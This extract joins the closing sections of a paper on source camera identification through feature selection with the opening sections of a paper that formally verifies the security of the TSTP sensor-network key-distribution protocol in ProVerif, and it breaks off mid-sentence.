lected from the Dresden database). From each camera model, we used 200 images
for training and testing the classifier, in our experiments. The set of all 598 BSM,
IQM and HOWS features are extracted from our training dataset, following the
procedure described in Sect. 3.2. This dataset is used as input to the feature
selection process described in Sect. 3.3.

After feature selection is carried out using the six filters (feature scoring
methods), viz., Chi Squared, Mutual Information, Pearson Correlation, Kendall
Correlation, and Spearman Correlation, the classification is performed by using
ADABOOST method with LIBSVM classifier as the base, where a 10–fold cross–
validation technique is adopted, which uses 9 folds for training and 1 fold for
testing. We performed 100 such experiments and all results reported in this paper
are the averages over all 100 experiments.

In our experiments, we measure the performance efficiency of the proposed
model, in terms of classification accuracy and F–score [25]. F–Score is obtained
by using the metrics Precision and Recall. These metrics are calculated as follows.

Precision =
TP

TP + FP
(2)

Recall =
TP

TP + FN
(3)

where TP, FP and FN are True Positive, False Positive and False Negative
respectively.

FScore =
2 × Precision × Recall

Precision + Recall
(4)

We show in Fig. 3, how the source classification accuracy varies as the number
of features selected using the filter based feature selection technique varies from
10 to 250, in steps of 10. We have shown the results for up to 250 features, since
there is no indication that the classification is going to improve beyond that
point. This is evident from Fig. 3.

The highest source classification accuracy was observed for number of fea-
tures in the range 70 to 130 (on an average), for filter based feature selection
technique. The Kendall Correlation and Spearman Correlation produce the high-
est accuracy, 95.68% and 95.65%, and F–Score 0.948 and 0.9492 respectively. All
other filters have classified the dataset with more than 95% average accuracy and
more than 0.938 F–Score. The Tables 1 and 2 show the performance comparison
of feature selection through six different filters, in terms of accuracy and F–score
respectively, along with corresponding feature counts.

Figure 4 shows the plot of F–Score vs. number of features selected by the filter
based technique. It can be observed from Fig. 4 that the Spearman Correlation
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Fig. 3. Classification Accuracy vs. number of features selected by filter based feature
selection (average of 100 experiments). Filters used: (a) Chi Squared (b) Mutual Infor-
mation (c) Fisher Scored (d) Pearson Correlation (e) Kendall Correlation (f) Spearman
Correlation.

filter gives the best F–Score, and also reduces the feature set to 130 features.
This is also evident from Table 2.

When genetic algorithm is employed in the wrapper based feature selection
technique, with a randomized initial population, the maximum accuracy was
observed as 97.12 %. The genetic algorithm took almost 5 days to complete the
search when run on a workstation with Xeon E5 2.6 Ghz processor and 16GB
RAM. The corresponding convergence of the genetic algorithm is shown in Fig. 5.
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Table 1. Performance comparision of filter based feature selection with respect to
classification accuracy (average of 100 experiments).

Filter Classification Accuracy (%) Features Count

Chi Squared 95.37 80

Mutual Information 95.45 100

Fisher Score 95.42 70

Pearson Correlation 95.42 70

Kendall Correlation 95.68 130

Spearman Correlation 95.65 80

Table 2. Performance comparision of filter based feature selection with respect to
F–Score (average of 100 experiments).

Filter F–Score Features Count

Chi Squared 0.9451 100

Mutual Information 0.9457 100

Fisher Score 0.9384 130

Pearson Correlation 0.9384 130

Kendall Correlation 0.948 130

Spearman Correlation 0.9492 130

Table 3. Performance comparision of all features and features subset selected by the
methods Filter, Wrapper+GA and Hybrid (Filter+Wrapper+GA)

Method Accuracy % Features Count

Before Feature Selection 87.68 598

Using SFFS Feature Selection 90.33 17

Filter Approach(Kendall Correlation) 95.68 100

Wrapper Approach 97.12 127

Hybrid Approach 98.25 123

It can be observed from Fig. 5 that during the initial generations, the genetic
algorithm produces a poor performance. However, gradually the performance
improves, moving towards the global maximum.

We used a hybrid approach where the input to the wrapper (as the start
set of GA) is the subset selected by the best filter. The results proved to be
encouraging as can be observed from Table 3, which shows that the hybrid com-
bining of the bests of filter and wrapper based techniques, outperforms the rest.
Before the feature selection was performed, when all the features are used in the
training process, the resultant classification accuracy was 87.68%. The SFFS
technique improved the accuracy to 90.3% and also gives us a much compact
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Fig. 4. F–Score vs. number of features selected by filter based feature selection (average
of 100 experiments). Filters used: (a) Chi Squared (b) Mutual Information (c) Fisher
Scored (d) Pearson Correlation (e) Kendall Correlation (f) Spearman Correlation.

feature set with 17 features. The filter–based, wrapper–based and hybrid feature
selection techniques outperform SFFS. The computational complexity of the fil-
ter based technique is lower as compared to the wrapper method. However, since
the wrapper method is a type of exhaustive search, it leads to a better perfor-
mance. When a genetic algorithm with randomized initial population is used,
the classification accuracy result improves considerably. The hybrid method con-
verged much faster than the traditional genetic algorithm, and also produces the
best results, with a source classification accuracy of 98.25%, compared to that
of 97.12%. Detailed comparison results are presented in Table 3.
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Fig. 5. Fitness value of the genetic algorithm employed in wrapper approach, with
randomized initial population.

5 Conclusion

In this paper, we model the source camera identification problem as a machine
learning classification problem, and solve it using a digital forensic approach. Fea-
ture selection plays a very important role developing a classifier learning model,
as well as optimizes the performance of the model. Unlike existing researches,
in this paper we exploited different techniques of feature selection to maximize
source camera identification accuracy.

With the number of features used by current researchers in related applica-
tions increasing rapidly, all the future researches are bound to use larger feature
sets. When the feature set becomes very large, the credibility of state–of–the–art
SFFS method is at stake. In this paper, we propose a way to achieve consider-
ably high source classification accuracy for a reasonably large feature set of 598
features, using filter, wrapper and hybrid methods. We achieved a maximum
classification accuracy of 98.25% with the hybrid approach with an optimal fea-
ture set of size 123.

In future, we would aim to explore more image features for source classifi-
cation, and would investigate the problem when the number of camera models
under question increases, for example beyond ten.

A Appendix: Statistical Measures Used as Feature Filters

– The Chi Squared is a statistical method that measures independence of
two variables. In feature selection, chi-square used to check whether the class
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variable is independent of a feature. Consider Oij is the observed frequency
and Eij is the expected frequency, then chi-squared [19,20] is defined as

χ2 =
∑ (Oij − Eij)2

Eij
(5)

Eij =
(RTi

)(CTj
)

N
(6)

where RTi
is number of samples in the ith value, CTj

is number of samples in
the class j, N is total number of samples.

– The Mutual Information [15] method measures the dependency of a vari-
able towards reducing the uncertainty about the target variable (class). It
maximizes the mutual information between joint distribution and target class
variables in the datasets with many features.

– The Fisher Score measures the variance between the expected value of
the information and the observed value. The information is maximized when
variance is minimized. Consider dataset with c classes, nj samples for class j,
μj mean value of class j, μ mean value of whole class and σ2

j variance of class
j. Then fisher score [21–23] Sk for feature Fk is defined as

Sk =

∑c
j=1 nj(μj − μ)2
∑k

j=1 njσ2
j

(7)

– The Pearson Correlation Coefficient is a statistical model which finds the
strength of the correlation between two variables. It is computed by covariance
of two variables dividing by the product of their standard deviations. The
Pearson correlation coefficient [14] is defined as

R =
cov(X,Y )

√
var(X)var(Y )

(8)

where cov denotes the covariance and var the variance. Therefore,

R =
∑m

k=1(xk − x̄)(yk − ȳ)
√∑m

k=1(xk − x̄)2
∑m

k=1(yk − ȳ)2
(9)

– The Kendall’s Tau rank correlation [16] is a statistical measure which
measures the degree of similarity between the ranking of two variables. Con-
sider n number of samples, nc number of concordant (ordered in the same
way) and nd number of discordant (ordered differently). The kendall’s Tau is
defined as

τ =
nc − nd

n(n−1)
2

(10)

– The Spearman Correlation is a statistical measure expresses the degree of
how two variables are monotonically related. Consider we have n samples and



424 V.U. Sameer et al.

xi is sample values of X and r(xi) is the rank of xi and yi is values of Y (class)
and r(yi) is the rank of yi. The Spearman coefficient [17,18] is calculated as

s(X,Y ) = 1 − 6
∑n

i=1(r(xi) − r(yi))2

n(n2 − 1)
(11)

The above filters are applied in this paper on a feature set of 598 features, as
discussed in Sect. 3.2. The Tables 1 and 2 show the performance of the above
filters with respect to accuracy and F–Score.
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Abstract. In this paper we verify the security aspects of a cross-layer,
application-oriented communication protocol for Wireless Sensor Net-
works (WSN). The Trustful Space-Time Protocol (TSTP) encompasses
a majority of features recurrently needed by WSN applications like
medium access control, geographic routing, location estimation, precise
time synchronization, secure communication channels and a key distri-
bution scheme between sensors and the sink. Key distribution in TSTP
happens after deployment via time-based session keys. The key distrib-
ution scheme relies on public cryptography primitives and synchronous
clocks as shared data between the parties. We analyzed TSTP’s key dis-
tribution protocol using ProVerif and we were able to find two security
flaws: one related to the time synchronization component and another
being a bad approach related to a mac-then-encrypt method employed.
With our findings we propose an improved version of the key distrib-
ution protocol, where we change the message authentication scheme in
the initial message exchange so that ProVerif’s goals are fulfilled; we also
introduce the encrypt-then-mac method so that secret information pass-
ing through the communication channel has integrity and does not fall
to known attacks.

Keywords: Wireless Sensor Networks · Internet of Things · Cross-
layer · Security protocol analysis · Formal specification and verification

1 Introduction

Internet access by devices reached more than a billion users in 2010 and it
is expected that by 2020 fifty billion gadgets will be accessing the Web [7].
An incredible revolution was observed in the way that interconnected devices
generate information by sensing environment variables [12]. This environmental
sensing requires new approaches and new techniques to manage the myriad of
information flows generated by the Internet of Things.
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In our work we will consider that the objects or things connected are sensors
or actuators. All this hardware is connected using wireless communication tech-
nology, forming a Wireless Sensor Network (WSN). This kind of network could
use the standard TCP/IP model [11] as the standard “Internet of People” does.
This would provide standard data encapsulation, but this model does not take
into account particular WSN characteristics, such as the resource-constrained
devices, ad-hoc connectivity, the need for high energy efficiency, notions of the
environment, and mainly the security needs inherent to objects interacting with
the physical world. These open problems have been motivating researchers to
propose different protocol designs. It has been shown that cross-layer designs are
a great alternative for optimizing WSN and wireless networks in general [14],
fulfilling the mentioned requirements. Cross-Layer designs are built so that each
layer’s parameters can be shared directly with other layers to reach optimization
goals, breaking the traditional black-box, stacked model.

As defined by Atzori et al. [1], IoT is a network of interconnected things in
world-wide scale. These things have a unique address and communicate with
each other using standardized WSN protocols. Aligned to the definition of this
research area, we have the challenges that come with it, like the integration of
things, computable resources restrictions, connectivity, energy efficiency, security
and operation. Hence, there are many particularities about the inception of this
area that were not solved yet.

According to Zhao and Ge [27] the Internet of Things is structured in three
layers: perception layer, network layer and application layer. The perception layer
has a high variety of sensors but with low protection capabilities. The network
layer has problems with the use of any network and is not exclusively designed
for IoT. The application layer has problems with Identity Authentication, Data
Protection and etc. Therefore, this research area has major challenges to be
solved.

Iot is basically composed of three main features: comprehensive percep-
tion, reliable transmission and intelligent processing. Comprehensive perception
means that the sensors of the perception layer collect information at any time
and anywhere. Reliable transmission means that data exchanged between sen-
sors is being replaced safely and in real time. Intelligent processing comes to the
pre-processing done by some middle-ware which processes the data before it is
sent to the main or terminal server.

The Trustful Space-time Protocol (TSTP) [19] we choose to analyze is an
application-oriented, cross-layer protocol with synchronized time, spatial local-
ization and distribution of sink-node keys. This protocol intimately integrates
multiple components that share data. TSTP was motivated by the problems
observed in WSN and IoT, and aims to deliver directly to the application a
data-centric API, trustfulness, geo-referencing, space-time synchronization and
energy efficiency at communication level. We chose this protocol because of its
capacity of establishing keys after deployment. This characteristic brings an
specification and verification challenge.
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We use the ProVerif [5] tool to analyze the security aspects of TSTP. ProVerif
has already demonstrated valuable results for many cryptographic protocols in
the literature [4]. This tool models attackers and protocols using applied pi-
calculus to describe message exchange. These descriptions are then converted
to Horn clauses and are proven mechanically using a First-Order Logic theorem
prover.

The main focus of this paper is to show the formal specification and verifica-
tion of TSTP against known security flaws. In this endeavour, we found security
breaches and we were able to propose improvements to the protocol. At first,
we specify the protocol message exchange using applied pi-calculus, and then we
demonstrate the properties that allow TSTP to have authenticity, integrity, con-
fidentiality and timeliness. After that, we explore the flaw found and explain the
wrong concepts that are present in the protocol such as the order of decryption,
as well as how to improve the design.

This paper is organized as follows. In Sect. 2, we show the literature review
about security and IoT protocols. Section 3 presents an overview about the struc-
ture of the protocol, the cryptographic concepts used and the requirements that
this protocol needs to work. In Sect. 4 we specify and verify the protocol in
ProVerif, we then explain the results. In Sect. 5 we propose essential changes
to the protocol. Finally, we draw the conclusions and propose future work in
Sect. 6.

2 Literature Review and Related Work

The design of an authentication WSN/IoT protocol involves many critical deci-
sions. We will explain the building blocks needed (Sect. 2.1) and two approaches
that in our point of view outsources protocol security responsibilities. The first
one is related to protocol assumptions (Sect. 2.2). The second one is about the
protocol trust relations (Sect. 2.3).

2.1 IoT Cryptographic Algorithms

The selection of the right security algorithm to be used with WSN/IoT commu-
nications is not a trivial task, mainly because of constraints related to code and
data size, processing power, and energy consumption [25]. Encryption algorithms
are classically classified as using symmetric or asymmetric cryptography [10].
Although this seems trivial, it is important to discuss the impact of such choices
when dealing with WSN/IoT protocol designs.

Symmetric Key Cryptography. This kind of cryptography uses the same
key for encryption and decryption. These cryptographic operations are usually
relatively simple and efficient. RC4, RC5, IDEA, SHA-1, MD5, are examples of
symmetric cryptography algorithms.

Because WSN devices must usually manage constrained resources, the sim-
plicity of symmetric cryptography algorithms is very desirable. The security
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scheme chosen must not significantly affect the performance of the network [13].
The selection of algorithms for encryption and decryption to be employed takes
into account parameters such as size of the operands, modes of operation, and
key expansion. The type of cipher depends mainly on how large is the volume
of data to be processed through the network. Stream ciphers deal better with
large amounts of information, while for smaller traffic, block ciphers may be a
suitable option.

In this sense it is not only important to choose a symmetric algorithm, but to
choose it based on the context of the data being collected withing the WSN/IoT
deployment scenario. A wise decision is to choose symmetric algorithms that can
leverage on good hardware support from the base platform of the nodes.

Asymmetric Key Cryptography. This cryptographic concept works with
pairs of keys: everything that one key encrypts the other decrypts and vice-versa.
This method yields more robust cryptographic schemes, but many authors agree
that the required data size, code size, processing time and power consumption
generally make this kind of cryptography impractical for WSN/IoT deployment
scenarios [25].

Nevertheless, with the advent of Elliptic Curve Cryptography (ECC)
schemes, it has been shown that it is possible to achieve a good trade off between
all these factors and the resulting level of security provided [25]. Although ECC
operations are costly, they achieve the same level of security as other asymmet-
ric schemes such as RSA using smaller keys, resulting in smaller overhead and
power consumption [24].

Some special deployment scenarios, specially when the identity of peers must
be attested to the whole network, require the use of public key cryptography. It is
important to note that these algorithms usually do not come with efficient hard-
ware implementations and they usually are heavy multiplication based. With
ECC we swap integer modular exponentiation by logical operations representing
addition and multiplication over finite fields.

2.2 Pre-established Information Protocols

Wireless Sensor Networks are usually ad-hoc networks. The topology is not fixed
or pre-determined, and nodes may enter or leave the network during its lifetime.
Such networks require a dynamic key assignment, that will use sensor’s data for
key generation and establishment. Thus, the use of pre-distributed information as
a strong parameter on key generation is not advised by literature [16]. Generation
of life-long keys at fabrication time is also not recommended. When doing that,
the security root will stay centered on the institution or company that injected
this key material into the sensor. Hence if there is a data leak, all those whom
consider this information trustful are potentially compromised. To avoid that
we rather use unique data available only to the sensor and the sink to provide a
key establishment scheme. To this strategy we call pre-established information
protocols.
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In the literature, several authentication protocols for WSN have been
proposed with the premise of pre-distributed key material. The Lightweight
Dynamic User Authentication Scheme (LDUAS) [26] relies on a previously-
defined user name, password and time period to establish key material. The
sensor authenticates to the sink with these information and the key material
is set out of that. So if any of this data is weak in terms of entropy, or if the
attacker gets this info somehow, the protocol is insecure.

The Localized Encryption and Authentication Protocol (LEAP) provides
multiple mechanisms involving keys, which are capable of providing confiden-
tiality and authentication [28] to messages. This protocol has individual keys
shared with the base station, a pair of keys that can be shared with other Wire-
less Sensor Networks, a key to exchange information with neighboring nodes
and a group key. However all of these mechanisms are mainly based on a pre-
distributed key to create a secure communication channel and to generate these
multiple keys. If someone discover that key, the attacker will have knowledge
about the other keys too. This protocols lacks a property called forward-secrecy.

The Lightweight Authentication Scheme (LAS) for WSN only uses an HMAC
hash function and a set of encryption algorithms using symmetric ciphers to
provide confidentiality and authenticity to the messages exchanged [9]. This
protocol is divided in three phases, starting with the pre-distribution of keys,
explicitly specifying that the manufacturer must insert a master symmetric key
at the time of sensor manufacturing. Therefore the trust is not only in the
manufacturer but also in the manufacturing process, and even in the employee
who carries out the procedures, because a forgery in any one of these steps can
compromise any network installed with this scheme. The other two phases are
inherently dependent of the first one, make it the main point of failure for the
protocol.

The Node Level Security Policy Framework (NLPSF) uses node information
for authentication and group keys based on identity-based cryptography [8]. The
protocol’s initialization is divided into four parts, the second of which being the
initialization of the sensor node with a data set. This data set contains public
information representing the group at which this sensor belongs, characterizing a
static group assignment. The data set also contains an identity-based key. Hence
this approach not only relies on the integrity of pre-deployment information, but
also relies on a fixed and pre-defined network topology, which is generally not
suitable to ad-hoc and mobile wireless networks.

Security protocols based on pre-established static information for the seed-
ing or derivation of keys for nodes are inherently corruptible at the time of
production of the node. More over, basing the new keys derived later on the pre-
established keys will also lack forward-secrecy of this key material. Nevertheless,
a lot of people opt for such protocols because they are easy to design and easy
to deploy, even if not delivering ultimate security.
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2.3 Trusted Third Party Protocols

The literature contains numerous WSN protocols for authentication using digital
certificates, public key cryptography and shared key cryptography. The main
characteristic of these protocols are that they rely on the presence of a trusted
third party to be the dealer of the protocol. These protocols can prevent man
in the middle attack (MitM), because they can identify the identity of the two
sides of communication. However these, checks may impair the speed of packet
switches or create a bottleneck on the side of the institution responsible for
checking.

The Efficient Authenticated Key Establishment Protocol (EAKEP) [23] uses
elliptic curve cryptography (ECC), which is recognized in the literature by pro-
viding the desired level of security with smaller keys, low computational com-
plexity and high-speed cryptographic operations. This protocol uses digital cer-
tificates to protect itself from impersonation attacks. Therefore all nodes must
be connected to the Certification Authority (CA) for testify the identity of this
sensor and every message exchanged needs communication between base station
and CA.

The Multiuser Broadcast Authentication scheme (MUBA) [18] proposes four
methods based on public key cryptography to provide different benefits and
respond to different constraints. Nonetheless there are several methods of imple-
mentation for this authentication scheme. All of them still needs an authority
(trusted third party) to certify sensors and answer for their identity. However this
protocol has its importance to literature, because it is not common to present
various certification schemes focused on IoT.

The design of trusted third party protocols in the WSN/IoT context is not
usual. Mostly because it will inherently yield a more complex deployment sce-
nario, including the new type of peer. Another big issue with these protocols is
that they usually rely on public-key cryptography, which is very costly to the
constrained environment of the sensors.

On Sect. 3 we will be describing the Trustful Space-Time Protocol (TSTP)
[19] security features. This protocol called our attention because it deals with
communication and key establishment using the very efficient schemes of sym-
metric cryptography, couples with one in a life-time use of asymmetric cryptog-
raphy for master secret establishment. It does not rely on trusted third parties
and by using a synchronized time seed to generate sessions keys, it provides very
strong forward-secrecy properties.

3 The TSTP Protocol

The Trustful Space-Time Protocol (TSTP) [19] is an application-oriented, cross-
layer communication solution for WSN and IoT, ranging from the application
layer to the link layer. TSTP handles geographic information inherent to the
network (such as time and space) as much as possible, including its key genera-
tion protocol. TSTP defines a key generation protocol between sensor nodes and
a central node (gateway, or sink).
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WSN devices communicate through wireless technology, allowing any radio
interface configured at the same frequency band to monitor or participate in com-
munications – which is very convenient for attackers. In order to avoid attacks, a
secure infrastructure must provide the principles of confidentiality, authenticity
and integrity [22]. TSTP provides these principles as well as temporality, while
not requiring a trustable third party. It relies on unique sensor IDs, precisely
synchronized clocks, and time and place of deployment as information shared
between gateway and sensor.

Although we are mostly interested in the security verification of the key dis-
tribution part of TSTP, the next subsections present some key components of
the cross-layer protocols that are used in the setting of establishing key mate-
rial. We will present the time synchronization scheme (Sect. 3.1), address and
positioning scheme (Sect. 3.2) and key distribution scheme itself (Sect. 3.3).

3.1 Time Synchronization

TSTP’s Speculative Precision Time Protocol keeps clocks in the network syn-
chronized with sub-microsecond precision [21]. TSTP has two non-exclusive
modes of time synchronization: speculative and explicit. Speculative synchro-
nization happens every time a node receives a TSTP message. Since TSTP
defines the MAC component that controls directly the physical layer, and since
fine-grained, MAC-level time stamps are pigtailed in every TSTP message, a
receiver of any message can determine its clock offset in relation to the sender
without exchange of any extra message.

With the reception of at least two messages from the same sender, receivers
are also able to estimate their frequency error with high accuracy [21]. Since
clocks in sensor nodes drift from each other over time (even if once synchronized),
speculative synchronization is carried out for every received message, and its
accuracy is proportional to the amount of traffic in the area of the network a
given node is located.

Fig. 1. TSTP explicit time synchronization. Node A requests synchronization with
message m1, which is replied twice by Node B. In this case, m1 is not only a Time
request, but a message destined to a node to the right, and so it is forwarded normally
through Node C. cN (ti) represents a read on the local clock of node N at physical
time ti.
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The second synchronization mode is used when a node can’t afford to wait
for eventual messages to synchronize with a given precision, and consists of the
transmission of an explicit “Time request” message. This message is replied by
a neighbouring node twice, so that the requester node can extract the two time
stamps necessary for synchronization. Figure 1 illustrates the explicit mode.

3.2 Addressing and Positioning

TSTP’s location estimation is also done passively on every message that a node
overhears. The position estimation algorithm is based on the Heuristic Environ-
mental Consideration Over Position (HECOPs) [17], which uses multilateration
and Received Signal Strength Indication (RSSI) measurements.

To boost accuracy, HECOPS introduces confidence values and heuristics to
estimate environmental effects on the radio signal, effectively boosting the esti-
mation’s accuracy. Figure 2 depicts the “deviation” heuristic: when two highly
confident nodes (e.g. nodes equipped with GPS) detect that the RSSI estimation
between them is off, they inform neighbor nodes about this offset, so that they
can apply it to their own estimations.

Fig. 2. HECOP’s deviation detection. Node A and B are anchors and detect that
their estimated distance via RSSI is wrong by a coefficient devAB . They broadcast this
information so that C can apply the same coefficient to its estimations (representing
that the area inside the triangle is under environmental interference).

In TSTP, every message carries the geographic coordinates of the sender
node, such that any node overhearing the network for long enough may harvest
enough information to estimate its own coordinates without injection of any
extra message. Furthermore, estimation is done continuously, and its accuracy
tends to get better with each new message overheard.
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It is important to note that the addressing of the nodes within the TSTP
cross-layer protocols is based on their actual position in space. This makes posi-
tioning important to our evaluation because this is how nodes are addressed in
the WSN setting.

3.3 Security

TSTP’s key bootstrapping protocol’s architecture is illustrated in Fig. 3. It
involves the Speculative Precision Time Protocol (Sect. 3.1) to precisely syn-
chronize clocks; The Heuristic Environmental Consideration Over Position for
addressing the nodes (Sect. 3.2); Elliptic Curve Diffie-Hellman to establish strong
asymmetric key pairs; Poly1305-AES [3] and unique sensor node IDs for authen-
tication via One-Time Password (OTP); and AES for lightweight encryption/de-
cryption of messages.

Fig. 3. Overview of interactions between blocks of TSTP’s key establishment protocol.

Figure 4 details the operations carried out by the protocol. Operation 1 is the
part responsible for the choice of Diffie-Hellman parameters. The G parameter is
the base point of an elliptic curve. The p variable is a prime that defines Fp, the
prime field in which the protocol operates. n represents the order of the group
used, being proportional to p, and its size will be the size of the keys that will
be generated. The IDs correspond to sensor unique identifiers large enough to
be considered secure.

Operations 2 and 3 are related to the size of the key and its generation.
The private key (Ks) is a random integer less than n and the public key (Ps)
is derived from the multiplication of private key value and the base point G.
Operation 4 generates a hash value of the sensor’s ID, which is also known to
the gateway.
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Sensor Gateway

IDs, p, n,G, µ (1) IDs, p, n,G, µ

ChooseKs < n (2) ChooseKg < n

Ps = Ks ∗ G (3) Pg = Kg ∗ G

Auths = {IDs}IDs (4) Auths = {IDs}IDs

Clock PTP (5) Clock

Pg DH Request (6) Pg

Ps DH Response (7) Ps

Ksg = Ks ∗ Pg (8) Ksg = Kg ∗ Ps

MIs = Ksg ⊕ IDs (9)

OTPs = Poly(MIs,Ksg, IDs, Ti) (10)

Auths, OTPs (11) Auth Request Auths, OTPs

IDs = Query(Auths) (12)

MIs = Ksg ⊕ IDs (13)

OTP ′
s = Poly(MIs,Ksg, IDs, Ti) (14)

OTP ′
s

?
= OTPs (15)

KTsg = Poly(MIs,Ksg, IDs, Ti) (16)

{IDs}KTsg (17) Auth Granted {IDs}KTsg

KTsg = Poly(MIs,Ksg, IDs, Ti) (18)

Decrypt {IDs}KTsg (19)

IDs
?
= IDs (20)

Fig. 4. Protocol operations.

At step 5, the two interested parties clocks are synchronized. The protocol is
agnostic to the exact synchronization method used. After that the sensor stays
waiting for the message of operation 6 (DH Request) that will come from the
gateway with its public key Pg at the window of time defined for that sensor’s
deployment. When the sensor receives this request, it will send a DH Response
message (7) with its own public key Ps.

The master secret Ksg is calculated with the multiplication of the public
key sent through the network and the private key of the sensor on operation
8. In operations 9, 10, 11, the sensor prepares a One-Time Password with the
Poly1305-AES algorithm [3] using three inputs: the sensor’s ID, the master secret
just established and the current time. The purpose of this request is to tie the
master secret to a sensor ID, effectively ensuring to the gateway that Ksg was
established with a trusted sensor node. The time stamp included protects this
message from replay attacks.

Upon reception of the Auth Request message, the gateway tests all the data
calculated by the sensor (operations 12 to 15) and then sends back a confirmation
to the sensor if it passes. On operation 12 the gateway verifies on its database
if there is an ID that can decrypt Auths, and the result of this decryption is
the own ID. At step 13 another information is calculated on sink side by using
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the xor of the master secret and the ID found in the last step. Next two steps
show that the Auth request information was sent from a valid sensor to the
gateway. After that, on operation 16, the sink asserts that the authentication
was successful sending a confirmation message.

The message contains the sensor’s ID encrypted with a disposable key, which
is derived from the master secret and the ID itself at operation 17. On next
operation the sensor generates a key with its own parameters. It then tries to
decrypt the Auth Granted message at operation 19 and finds its own ID on the
last operation. This way, it has evidence that Ksg was in fact shared with a
party that knows the ID, assuming only the gateway this far. At this point, the
parties have synchronized clocks and share an authenticated master secret Ksg.

The master secret is not used directly as an encryption key. A disposable key
is generated each time a message is sent, just as in operations 8 to 10, which is
used for encryption. Figure 5 depicts the process of sending secure messages.

Sensor Gateway

MAC = Poly(MSG,Ksg, IDs, Ti) (21)

MIs = Ksg ⊕ IDs (22)

KTsg = Poly(MIs,Ksg, IDs, Ti) (23)

{MAC,MSG}KTsg (24) Send Message {MAC,MSG}KTsg

MIs = Ksg ⊕ IDs (25)

KTsg = Poly(MIs,Ksg, IDs, Ti) (26)

Decrypt{MAC,MSG}KTsg (27)

MAC′ = Poly(MSG,Ksg, IDs, Ti) (28)

MAC′ ?
= MAC (29)

Fig. 5. Sending a confidential, authenticated, and timed message.

4 Protocol Specification and Formalization

In this section, we specify the Trustful Space-Time Protocol (TSTP) [19] using
ProVerif (Sect. 4.1). Out of that Specification we conduct a protocol verification
assisted by the tool (Sect. 4.2).

4.1 ProVerif Protocol Specification

Our specification effort was focused on the description and evaluation of the
security components of TSTP. We specified the secure key establishment pro-
tocols and the later communication process using the shared keys generated in
this first phase.

We initialize our ProVerif specification informing that the channel where
TSTP data pass through is an open channel, vulnerable to tampering, eaves-
dropping and other threats. This is a standard procedure that puts the protocol
on the setting of a reasonable threat model for where it will be actually be
executed.
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We then define a unique ID for every sensor and that its size is at least 128
bits, because it needs a good entropy and to be hard to guess. After that we
define a timestamp value, it is a parameter of the one-time-password that avoids
the generation of the same key twice.

The parameters of Elliptic Curve Diffie-Hellman (ECDH) functions are rep-
resented by G, x and y exponents. These parameters establishes how hard it will
be for the attacker to solve the discrete logarithm problem for elliptic curves.
The security of key derivation is proportional to the size of elliptic curve keys.
We considered that the ECDH key has at least 256 bits and with that assump-
tion we are able to derive a 128 bits key, that will be used with AES to encrypt
and decrypt messages.

Listing 4.1-1. Initial Specification
(***** OTP *****)

type OTP.
fun Poly(bitstring , key , ID, ts) : OTP. (*MAC*)

(***** Auxiliary Functions *****)
fun Auth(ID) : bitstring.
fun G_as_key(G) : key [data , typeConverter ].
fun OTP_as_key(OTP) : key [data , typeConverter ].
fun xor(key , ID) : bitstring [data].
fun ID_as_bitstring(ID) : bitstring [data , typeConverter ].
fun bitstring_as_ID(bitstring) : ID [data , typeConverter ].

We applied the symmetric cryptography functions described on ProVerif’s
manual [6]. These functions were applied with protocol’s auxiliary methods like
Poly, Auth, xor. We also needed to use type converters described in the man-
ual [6]. Our implementation of the specific algorithms and converters is shown
in Listing 4.1-1.

Listing 4.1-2. Sensor’s Process
let sensor (sk:exponent , id:ID) =

in(c, t0:ts);
(***** MasterSecret generation *****)
in(c, pkGateway:G);
let masterSecret = G_as_key(exp(pkGateway , sk)) in

(***** Authentication - Auth Request *****)
let OTP_t0 = Poly(xor(masterSecret , id), masterSecret , id, t0) in
event sensor_request_auth(id);
out(c, (Auth(id), OTP_t0 ));

phase 1;
in(c, t1:ts);
let KTsg = Poly(xor(masterSecret , id), masterSecret , id, t1) in
in(c, enc_id:bitstring );
let dec_id = bitstring_as_ID(sdec(enc_id , OTP_as_key(KTsg ))) in
if dec_id = id then
event sensor_checked_gateway(id, masterSecret );

phase 2;
in(c, t2:ts);
let checkSum = Poly(s, masterSecret , id, t2) in
let keyT2 = Poly(xor(masterSecret , id), masterSecret , id, t2) in
out(c, senc((checkSum , s), OTP_as_key(keyT2 ))).
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The specification of the messages exchanged with the protocol when con-
verted to processes from the point of view of the sensor is how in listing 4.1-2.

Listing 4.1-3. Gateway’s Process
let gateway (sk:exponent )=

new t0:ts; out(c, t0);
(***** MasterSecret generation *****)
in(c, pkSensor:G);
let masterSecret = G_as_key(exp(pkSensor , sk)) in

(***** Authentication *****)
in(c, (auth_s:bitstring , OTP_s:OTP));
get authentications(id_s , =auth_s) in
event gateway_checked_sensor(id_s);
let OTP_t0 = Poly(xor(masterSecret , id_s), masterSecret , id_s , t0) in
if OTP_t0 = OTP_s then
insert authentications_and_keys(id_s , masterSecret );
event gateway_auth_sensor(id_s , masterSecret );

phase 1;
new t1:ts; out(c, t1);
let KTsg = Poly(xor(masterSecret , id_s), masterSecret , id_s , t1) in
out(c, senc(ID_as_bitstring(id_s), OTP_as_key(KTsg )));

phase 2;
new t2:ts; out(c, t2);
in(c, m:bitstring );
let keyT2 = Poly(xor(masterSecret , id_s), masterSecret , id_s , t2) in
let (checkSumS:OTP , message:bitstring) = sdec(m, OTP_as_key(keyT2)) in
let checkSumG = Poly(message , masterSecret , id_s , t2) in
if checkSumG = checkSumS && message = s then event messageValidated(message ).

The specification of the messages exchanged with the protocol when converted
to processes from the point of view of the sensor is how in listing 4.1-3.

The main process take cares of the Diffie-Hellman key distribution, register
the id on gateway’s table and initiate the two other processes. The first one is the
gateway’s process, that is loaded with exclamation mark implying on multiple
sessions. The second one is the sensor’s process. We simulated that to test if
the attacker could impersonate a gateway. Each one of these follow different
specifications to better represent the protocol communication.

Listing 4.1-4. Main Process
process

new skG:exponent; let pkGateway = exp(g,skG) in out(c, pkGateway );
new skS:exponent; let pkSensor = exp(g,skS) in out(c, pkSensor );
new id:ID; insert authentications(id, Auth(id));
(

(! gateway(skG)) |
(sensor(skS , id))

)

4.2 ProVerif Protocol Verification

We were able to find a security problem related to the time synchronization
part of the protocol, as well as a possibility of improvement in the message
authentication scheme. We explain next the main steps that the ProVerif tool
was guided through to find the security flaw. In the end of this chapter we
evaluate the advantages that our proposals bring to TSTP.
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Listing 4.2-1. Sensor’s Process
let OTP_t0 = Poly(xor(masterSecret , id), masterSecret , id, t0) in
event sensor_request_auth(id);
out(c, (Auth(id), OTP_t0 ));

As shown in the listing above, the problem was found on the first sensor’s time
synchronization. The flaw is related to the Auth Request message. At operation
11 (Fig. 4), two pieces of data are sent: the first one is the ID encrypted by itself
